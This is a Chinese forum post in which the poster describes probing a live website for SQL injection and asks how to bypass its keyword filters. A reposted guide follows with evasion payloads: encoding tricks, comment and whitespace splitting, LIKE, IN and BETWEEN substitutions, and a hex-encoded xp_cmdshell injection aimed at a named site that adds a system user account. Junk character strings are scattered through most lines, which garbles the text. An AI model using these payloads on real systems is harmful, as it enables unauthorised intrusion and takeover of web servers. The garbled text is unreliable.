路过这个网站,检测了一下.( O! X s4 c" @. ~ _7 {
http://www.xxx.cn/Article.asp?ID=117 and 1=1; M" S m" X. O
直接返回主页0 P0 W( w9 u2 Z' v7 z5 V. x7 O9 U9 r
http://www.xxx.cn/Article.asp?ID=117 or 1=1
8 A7 I8 Z" t$ R直接返回主页
9 R- t# @: W1 Y, T7 A+ J" bhttp://www.xxx.cn/Article.asp?ID=117 or
. b0 K: X4 c1 n9 G5 t/ A没有返回主页 没有过滤or
7 |& |- F0 r3 ~! F% K* _http://www.xxx.cn/Article.asp?ID=117 and: J! I( r* }6 q% h& D
直接返回主页 看来过滤了and
2 @4 o! }6 a6 b8 g/ W/ ~http://www.xxx.cn/Article.asp?ID=117 or 1; `* v" Y( i5 H
没有返回主页 即没有过滤or 也没有过滤1
3 Y, E6 A) L+ thttp://www.xxx.cn/Article.asp?ID=117 or 1=14 h& b S8 _$ s" }5 m
直接返回主页 很明显过滤了等号
S& g, u: S( j0 p* ?or的特性是与and相反的.
+ {0 k O" ]7 H, ?2 B/ G2 k. E, Ror 1=1 爆错 或与原页面不同9 j5 k! E) L# i0 R g# n; x& b
or 1=2 原页面相同
( e7 ?* U# I1 q9 J: o, i这样就是一个注入点) h' }, y# h! R- ~0 r: Y f ^
但他过滤了=号 我就用><号代替=号吧!
$ v! {- u% V/ p6 i' Jor 1<2 很明显是正确的,所以应该与原页面不同( ?/ u6 ^- b5 Z& B2 e
or 1>2 很明显是错误的,所以应该与原页面相同
1 H+ Q- X# ?8 L4 o然后看看有没有过滤其他的查询语句,比如select.- N4 X5 `: C; |
http://www.xxx.cn/Article.asp?ID=117 select
6 E' v& k% c t直接返回主页
. Z; _, `6 [5 |+ }又迷茫了..( y6 L6 R1 V- b
6 s+ g0 e! e' p. S) N3 n, R& _( o8 U8 r+ s/ p: K7 U. d
cookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗. l) p9 M6 s: G" I! _! b9 U
这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)
2 N+ W8 A0 G: E8 t================================================
- {5 Y9 K# L$ H z* w以下是转贴:
3 ?! R% j8 H: P' K( ^9 J
* k8 t3 f2 K% y; I突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……
0 |2 h/ m0 q. B7 M经过我的收集,大部分的防注入程序都过滤了以下关键字:
Y4 c- W2 L, W# }and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | = & |$ T2 C3 Y* ]: ~6 k9 o
而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。
4 S' v: `( z7 O. T( `9 U+ C t0 p对于关键字的过滤,以下是我收集的以及我个人的一些想法。
7 u1 a8 @9 N( X p: _9 c) |# T# U1、运用编码技术绕过
6 G& \* N6 s5 D% B9 F0 k如URLEncode编码,ASCII编码绕过。例如or 1=1即
; S# Q6 w& `' ~%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
7 L& f! J: {, j: y: ?+ H- B: Y( z. y, l7 H! _) W) F! \
2、通过空格绕过
) D& c+ J" _+ i: Z如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如
2 o( L, ?1 Z+ }5 @or’ swords’ =‘swords’
: ]8 _* ^% [$ J7 Z,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。
7 P, p1 {& @! B3 R8 U( O3、运用字符串判断代替 , V: S/ [5 h( {/ i
用经典的or 1=1判断绕过,如 - S2 O3 A. I) {9 `5 u
or ’swords’ =’swords’ " y( E0 Q' Q$ W
,这个方法就是网上在讨论的。 : q3 \2 g; @5 D* o
4、通过类型转换修饰符N绕过 ! c8 h6 \4 G7 `* v, A. b& H
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。 : j M- S- K8 @' E h- n% `
5、通过+号拆解字符串绕过 - I. H* g0 j0 w( v0 i
效果值得考证,但毕竟是一种方法。如
|" J6 K( V4 A5 | F4 u" qor ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ )
; ]% m# y* h7 r: |" Q0 Y$ z8 r
. e! w4 u/ J+ n3 D) N+ ?1 {2 L% y0 G$ N6、通过LIKE绕过 0 T" H C% o' W
以前怎么就没想到呢?如or 0 f8 \, s" O9 n# q. U. E" m+ M
’swords’ LIKE ’sw’
0 W) Z; l' i0 H% L!!!显然可以很轻松的绕过 0 \# P. k: H. P6 o. U% W1 T
“=”“>”
! @3 B# s8 x1 x/ ^的限制…… 0 y7 P/ L4 s+ K! U3 C
7、通过IN绕过
% A$ ~5 l! W" V: p1 k. R与上面的LIKE的思路差不多,如
6 m9 I7 M! i6 Y' Gor ’swords’ IN (’swords’) $ J d, Y7 B3 U2 d+ Z& V
4 o* C' \/ K. d; ~8、通过BETWEEN绕过 2 O5 |% k6 M: k2 ^( y
如
7 k1 E8 B( P# e8 q x: ? l9 For ’swords’ BETWEEN ’rw’ AND ’tw’ & _9 R. V1 Q! q7 U: a
3 H* T' n9 b ]" `8 R/ ^
9、通过>或者<绕过
5 o" f' m3 ]1 i4 A. T( |' cor ’swords’ > ’sw’
0 d4 l1 o7 \, Eor ’swords’ < ’tw’ , M: U, L9 e$ F$ l
or 1<3 9 F/ O; z5 ~* _7 s& v
…… ' |% q1 B6 X8 a2 ]7 y
10、运用注释语句绕过 % m, u- g$ d& G/ J2 A- V8 R
用/**/代替空格,如: 9 F& u- x4 j, o; ^, v
UNION /**/ Select /**/user,pwd,from tbluser % Z4 l0 v3 @2 m: `
; ^2 {) k# a6 f$ ~. q用/**/分割敏感词,如:
/ p5 s3 t+ J+ |7 a8 z" j. m1 WU/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser ( w+ B! q5 H6 g0 @- @' }1 \6 H
& o; t. y: |; x. O
11、用HEX绕过,一般的IDS都无法检测出来
X) ~" R( O ~/ a8 J( h1 q% \$ }0x730079007300610064006D0069006E00 =hex(sysadmin)
3 R, ^5 L3 P2 B+ B0x640062005F006F0077006E0065007200 =hex(db_owner)
! R! I# z# ^. i) l5 M3 \5 ]( s! P' U另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下: 6 }9 R7 d/ i5 I- U7 N
declare @a sysname
M/ k+ k2 s6 o# u: e select @a= 9 V* `: Q3 m3 D/ @$ V
exec master.dbo.xp_cmdshell @a
% n9 p; c; i# t( }4 C, e& ` H效果
. p4 O2 o" A! hhttp://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];--
( t* ~* N* r6 Z, R; m
9 W% X3 @1 d5 J+ {9 r$ D1 Y) ?其中的 , y' s: c: ^3 G, o% [1 g" W
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
" T& c: f) z6 b" H( p就是
6 Z. F8 x9 F$ f6 _6 r! ]“net user angel pass /add”
1 \0 g& c7 E2 c _3 J8 P$ H
& M: x9 D) n7 T一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。+ t) @% i8 v1 W/ p
引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。
: \7 j, A0 l$ n& m1 q8 [另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似
; W1 [1 |6 c0 c6 ]Copy code7 d8 X3 I: h8 S0 k
select * from table exec xp_cmdshell'xxxxxxxxxx'* j. q1 W8 V* t8 o1 ?" u! i+ j
. k: z) \) |% ~ S( v
! h8 D+ m* Y, K% B# _, wselect * from table/**/exec xp_cmdshell'xxxxxxxxxx'8 H" a+ G; N/ d0 X' d
4 e- V! Y1 n' Q
+ B0 \" X7 d- d2 `, ?5 xselect * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx' f: h+ d1 i* V q, E
* u2 t- k( p" W. A5 D# z9 C
! u0 E; H: n, s! ^/ Z
select * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'; C+ {0 k( ?0 U$ r6 }% Z& e* G) A
6 n; h: f3 @" N F的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?/ A1 {. q. O/ M& z0 }$ k* ?
: B; N/ N% V& C- t$ m% U, J这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了. L) R9 A, V3 P6 L: r
可能大家早就知道了,不管怎么说,发在这里吧!( O+ u! ^5 H5 o
( Z. S+ q# Y, p9 U
最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。
0 q: {7 j) ^. ^( L* [3 ]0 H
5 a8 V5 X9 n' i8 K
" K9 R& V. o& y6 i6 p s* _# q/ }1 m
; Z# }0 v: A* \: V0 b F对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,
- S/ Q4 x+ Q$ i ]' l0 N$ u$ K比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧? / S9 x0 ^/ }* i+ z0 j' m) o
" N6 M$ K& e5 Q: F. N6 c2 \
|